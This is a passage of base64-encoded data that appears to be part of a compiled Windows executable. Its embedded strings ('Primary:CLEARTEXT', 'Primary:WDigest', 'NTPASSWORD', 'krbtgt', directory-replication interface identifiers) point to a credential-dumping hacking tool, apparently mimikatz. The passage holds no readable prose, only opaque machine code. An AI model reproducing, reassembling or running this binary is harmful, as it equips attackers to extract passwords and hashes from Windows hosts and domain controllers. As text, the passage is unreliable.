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AAAAAAAAAAAAAAAAAAAAAAAAAAAAABsAGQAYQBwAC8AAABEAAAA1NdEfNUxTEK9Xis+HzI9IgEAAAAEXYiK6xzJEZ/oCAArEEhgAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFwALwA6ACoAPwAiADwAPgB8AAAAAAAASAAAAAAAABgAMgAAAEQAQABHBQgHAQABAAAACgAEAAIACwAIABgAEyAMAEAAEAEQAEgAcAAUAAgAAEgAAAAAAQAIADDgAAAAADgAQABEAggBAAAAAAAAGAEAAFAAcAAEAAgAAEgAAAAAAgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAFwAcAAMAAgAAEgAAAAAAwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMgAUCEMAAgAEwEQAPgCcAAUAAgAAEgAAAAABAAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAMQFcAAMAAgAAEgAAAAABQAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAAIGcAAMAAgAAEgAAAAABgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAJAGcAAMAAgAAEgAAAAABwAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIAMoGcAAMAAgAAEgAAAAACAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAA4HUCEMAAgAE2EQAG4HcAAUAAgAAEgAAAAACQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMAHUCEMAAgAE2EQACoIcAAUAAgAAEgAAAAACgAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAKYIUCEMAAgAE0EQAF4JcAAUAAgAAEgAAAAACwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAK4JUCEMAAgAEwEQAPIJcAAUAAgAAEgAAAAADAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGAKUCEMAAgAEyEQALwKcAAUAAgAAEgAAAAADQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAEgLUCEMAAgAEyEQAKYLcAAUAAgAAEgAAAAADgAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMYLUCEMAAgAEyEQAAAMcAAUAAgAAEgAAAAADwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIABoMUCEMAAgAEyEQAEgMcAAUAAgAAEgAAAAAEAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGIMUCEMAAgAEyEQAJAMcAAUAAgAAEgAAAAAEQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGIPUCEMAAgAEwEQAMwPcAAUAAgAAEgAAAAAEgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIANARcAAMAAgAAEkAAAAAEwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAPIRUCEMAAgAEyEQAFoScAAUAAgAAEkAAAAAFAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAGwWUCEMAAgAEyEQAAYXcAAUAAgAAEgAAAAAFQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIACAXUCEMAAgAEyEQAGwXcAAUAAgAAEgAAAAAFgAQADBAAAAAACwACABGBAgFAAABAAAACAAAAFQASAAEAAgACwEIALgXcAAMAAgAAEgAAAAAFwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAOoXUCEMAAgAE0EQADIYcAAUAAgAAEgAAAAAGAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAHoYUCEMAAgAE0EQANYYcAAUAAgAAEgAAAAAGQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAB4ZUCEMAAgAEyEQADgZcAAUAAgAAEgAAAAAGgAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAFIZUCEMAAgAEyEQAIQZcAAUAAgAAEgAAAAAGwAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAJ4ZUCEMAAgAE0EQANAZcAAUAAgAAEgAAAAAHAAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAPIZUCEMAAgAE0EQACoacAAUAAgAAEgAAAAAHQAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAHYaUCEMAAgAEyEQALIacAAUAAgAAEgAAAAAHgAYADBAAAAAACwAJABHBggHAQABAAAACAAAAFQASAAEAAgACwEIAMwaUCEMAAgAE0EQAOYacAAUAAgAAEgAAAAAAAAYADIAAAAIACQARwUIBwEAAQAAAEgABAAIAAsBCAAeG1AhDAAIABOBEAA4G3AAFAAIAABIAAAAAAEAGAAyAAAACAAkAEcFCAcBAAEAAABIAAQACAALAQgAshtQIQwACAATIRAA6htwABQACAAAAAAAAAAAAAAAAA